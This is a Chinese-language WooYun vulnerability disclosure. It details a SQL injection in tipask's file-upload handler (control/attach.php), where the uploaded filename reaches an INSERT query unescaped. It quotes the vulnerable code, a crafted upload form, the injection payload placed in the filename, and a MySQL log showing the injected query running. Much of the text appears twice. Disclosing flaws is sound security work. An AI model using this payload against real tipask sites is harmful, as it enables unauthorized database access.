当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170295

漏洞标题:tipask系统又一注入漏洞

相关厂商:tipask

漏洞作者: pang0lin

提交时间:2016-01-17 11:56

修复时间:2016-02-27 11:49

公开时间:2016-02-27 11:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-17: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-02-27: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

tipask注入漏洞

详细说明:

1.首先定位到漏洞文件control/attach.php。

function onupload() {
//上传配置
$config = array(
"uploadPath" => "data/attach/", //保存路径
"fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式
"fileSize" => 10 //文件大小限制,单位MB
);
//文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜
$state = "SUCCESS";
$clientFile = $_FILES["upfile"];
if (!isset($clientFile)) {
echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; //请修改php.ini中的upload_max_filesize和post_max_size
exit;
}
//格式验证
$current_type = strtolower(strrchr($clientFile["name"], '.'));
if (!in_array($current_type, $config['fileType'])) {
$state = "不支持的文件类型!";
}
//大小验证
$file_size = 1024 * 1024 * $config['fileSize'];
if ($clientFile["size"] > $file_size) {
$state = "文件大小超出限制!";
}
//保存文件
if ($state == "SUCCESS") {
$targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.');
$result = $_ENV['attach']->movetmpfile($clientFile, $targetfile);
if (!$result) {
$state = "文件保存失败!";
} else {
$_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0);//这里是漏洞点
}
}
//向浏览器返回数据json数据
echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"' . $clientFile["name"] . '"}';
}


2.这里是上传的逻辑代码,本身的上传没有什么问题。但是在上传之后进行了一次数据库操作,并且直接带入了$clientFile["name"]。

$clientFile = $_FILES["upfile"];


而$_FILES本身是不受addslashes的影响的。所以不受全局过滤的影响。那么我们构造一个上传的表单(_FILES是真的不受影响吗?为什么不亲自测试测试)

<html>
<body>
<form action="http://localhost/tipask/index.php?attach/upload" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="upfile" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>


3.上传的时候使用burp抓包,修改其中filename字段的值为conf',user(),1,1,0,1) -- a

1.png


4.然后看一下数据库中的表。

2.png


5.再来看一下mysql日志呢

160115 23:23:29	  168 Connect	root@localhost on 
168 Query SET character_set_connection=gbk, character_set_results=gbk, character_set_client=binary
168 Query SET sql_mode=''
168 Init DB tipask
168 Query SELECT * FROM ask_badword
168 Query SELECT * FROM ask_user WHERE uid='1'
168 Query SELECT * FROM ask_user_category WHERE uid=1
168 Query UPDATE ask_session SET `time` = 1452871409 WHERE sid='bb76277b670c297a'
168 Query SELECT * FROM ask_banned
168 Query INSERT INTO ask_attach(time,filename,filetype,filesize,location,isimage,uid) VALUES (1452871409,'conf',user(),1,1,0,1) -- a.rar','.rar','2576','data/attach/1601/1zfBosk4.rar',0,1)
168 Quit


//文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜
$state = "SUCCESS";
$clientFile = $_FILES["upfile"];
if (!isset($clientFile)) {
echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; //请修改php.ini中的upload_max_filesize和post_max_size
exit;
}
//格式验证
$current_type = strtolower(strrchr($clientFile["name"], '.'));
if (!in_array($current_type, $config['fileType'])) {
$state = "不支持的文件类型!";
}
//大小验证
$file_size = 1024 * 1024 * $config['fileSize'];
if ($clientFile["size"] > $file_size) {
$state = "文件大小超出限制!";
}
//保存文件
if ($state == "SUCCESS") {
$targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.');
$result = $_ENV['attach']->movetmpfile($clientFile, $targetfile);
if (!$result) {
$state = "文件保存失败!";
} else {
$_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0);//这里是漏洞点
}
}
//向浏览器返回数据json数据
echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"' . $clientFile["name"] . '"}';
}</code>
2.这里是上传的逻辑代码,本身的上传没有什么问题。但是在上传之后进行了一次数据库操作,并且直接带入了$clientFile["name"]。

$clientFile = $_FILES["upfile"];


而$_FILES本身是不受addslashes的影响的。所以不受全局过滤的影响。那么我们构造一个上传的表单

<html>
<body>
<form action="http://localhost/tipask/index.php?attach/upload" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="upfile" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>


3.上传的时候使用burp抓包,修改其中filename字段的值为conf',user(),1,1,0,1) -- a

漏洞证明:

160115 23:23:29	  168 Connect	root@localhost on 
168 Query SET character_set_connection=gbk, character_set_results=gbk, character_set_client=binary
168 Query SET sql_mode=''
168 Init DB tipask
168 Query SELECT * FROM ask_badword
168 Query SELECT * FROM ask_user WHERE uid='1'
168 Query SELECT * FROM ask_user_category WHERE uid=1
168 Query UPDATE ask_session SET `time` = 1452871409 WHERE sid='bb76277b670c297a'
168 Query SELECT * FROM ask_banned
168 Query INSERT INTO ask_attach(time,filename,filetype,filesize,location,isimage,uid) VALUES (1452871409,'conf',user(),1,1,0,1) -- a.rar','.rar','2576','data/attach/1601/1zfBosk4.rar',0,1)
168 Quit

修复方案:

过滤

版权声明:转载请注明来源 pang0lin@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝